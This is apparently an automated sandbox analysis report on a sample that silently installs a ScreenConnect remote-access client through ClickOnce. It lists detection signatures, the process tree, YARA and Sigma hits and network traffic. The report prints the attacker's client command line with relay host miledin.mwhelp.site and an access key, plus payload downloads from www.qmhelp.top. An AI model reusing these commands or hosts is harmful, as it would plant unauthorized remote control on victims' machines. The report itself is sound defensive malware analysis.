Edit tour

Windows Analysis Report
SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Overview

General Information

Sample name:	SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe
Analysis ID:	1638477
MD5:	bfaaad29d18f516511ec1741e1a091db
SHA1:	39e2258863f4e1035568a16eec5def14cb602986
SHA256:	b609603b40e7eb6d2dfdea9ea187eb82c1a7b55c85965f694548dd6cef36e9f5
Tags:	exeuser-SecuriteInfoCom
Infos:

Detection

ScreenConnect Tool

Score:	51
Range:	0 - 100
Confidence:	100%

Compliance

Score:	33
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

.NET source code references suspicious native API functions

Contains functionality to hide user accounts

Detected potential unwanted application

Reads the Security eventlog

Reads the System eventlog

AV process strings found (often used to terminate AV products)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Drops certificate files (DER)

EXE planting / hijacking vulnerabilities found

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

May use bcdedit to modify the Windows boot settings

One or more processes crash

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Sigma detected: Potentially Suspicious Child Process Of ClickOnce Application

Stores large binary data to the registry

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected ScreenConnect Tool

Classification

Process Tree

System is w10x64

SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe (PID: 8088 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe" MD5: BFAAAD29D18F516511EC1741E1A091DB)

dfsvc.exe (PID: 8124 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" MD5: B4088F44B80D363902E11F897A7BAC09)

ScreenConnect.WindowsClient.exe (PID: 5580 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe" MD5: AFA993C978BC52D51E8AF08A02892B4E)

ScreenConnect.ClientService.exe (PID: 7636 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i=" "1" MD5: D3E628C507DC331BAB3DE1178088C978)

WerFault.exe (PID: 4068 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7636 -s 1304 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 1240 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8088 -s 316 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000000.1412836393.0000000000512000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000001.00000002.3055864006.000001D2D9943000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000001.00000002.3054816957.000001D2D980A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000009.00000002.1871815455.000000000286A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000001.00000002.3043338622.000001D2BF15F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: dfsvc.exe PID: 8124	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.WindowsClient.exe PID: 5580	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.ClientService.exe PID: 7636	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.0.ScreenConnect.WindowsClient.exe.510000.0.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Sigma Signatures

System Summary

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Source: Network Connection

Author: Nasreddine Bencherchali (Nextron Systems): Data: DestinationIp: 192.168.2.4, DestinationIsIpv6: false, DestinationPort: 49722, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe, Initiated: true, ProcessId: 8124, Protocol: tcp, SourceIp: 172.67.181.28, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Potentially Suspicious Child Process Of ClickOnce Application

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\SysWOW64\WerFault.exe -u -p 7636 -s 1304, CommandLine: C:\Windows\SysWOW64\WerFault.exe -u -p 7636 -s 1304, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WerFault.exe, NewProcessName: C:\Windows\SysWOW64\WerFault.exe, OriginalFileName: C:\Windows\SysWOW64\WerFault.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i=" "1", ParentImage: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe, ParentProcessId: 7636, ParentProcessName: ScreenConnect.ClientService.exe, ProcessCommandLine: C:\Windows\SysWOW64\WerFault.exe -u -p 7636 -s 1304, ProcessId: 4068, ProcessName: WerFault.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Virustotal: Detection: 16%			Perma Link
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	ReversingLabs: Detection: 26%

Cryptography

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_00621000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree,

0_2_00621000

Privilege Escalation

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.ClientService.exe	Jump to behavior

Compliance

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.ClientService.exe	Jump to behavior

Uses 32bit PE files

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

PE / OLE file has a valid certificate

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 172.67.181.28:443 -> 192.168.2.4:49722 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %%.pdb(s( source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb> source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ScreenConnect.Windows.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb%)Sw source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.ClientService.pdb` source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb1 source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: mscorlib.pdbROF source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: entService.pdbr source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ScreenConnect.Core.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.Core.pdb0 source: WER494D.tmp.dmp.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF42E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF056000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871815455.00000000029EF000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871339597.0000000000ED0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.1831463096.0000000004FC2000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000000.1417484650.00000000004DD000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source:	Binary string: mscorlib.ni.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdby source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1412836393.0000000000512000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbl source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1412836393.0000000000512000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BEEA8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871561986.0000000002592000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.Core.pdbul:YGvd source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER494D.tmp.dmp.13.dr
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbH9 source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source:	Binary string: System.Xml.ni.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdbl source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER494D.tmp.dmp.13.dr
Source:	Binary string: HP+nXC:\Windows\ScreenConnect.ClientService.pdbP source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830358109.0000000000B78000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: ScreenConnect.ClientService.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdbe) source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbw source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.Configuration.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: @7n.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF42A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF052000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.1831637718.00000000050B2000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source:	Binary string: ?7nC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: mscorlib.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.Core.pdba3a source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HP+n0C:\Windows\mscorlib.pdb\ source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF05A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF432000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.1832015455.00000000056C2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source:	Binary string: System.Core.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.pdb4 source: WER494D.tmp.dmp.13.dr
Source:	Binary string: C:\Windows\ScreenConnect.ClientService.pdbpdbice.pdbt]yw source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\dll\mscorlib.pdbLb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BEEA8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871561986.0000000002592000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: creenConnect.Core.PDBDL33 source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER494D.tmp.dmp.13.dr

Spreading

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_00624B9B FindFirstFileExA,

0_2_00624B9B

Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.4:63082 -> 62.182.86.171:8880

Detected non-DNS traffic on DNS port

Source: global traffic

TCP traffic: 192.168.2.4:63074 -> 1.1.1.1:53

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i= HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
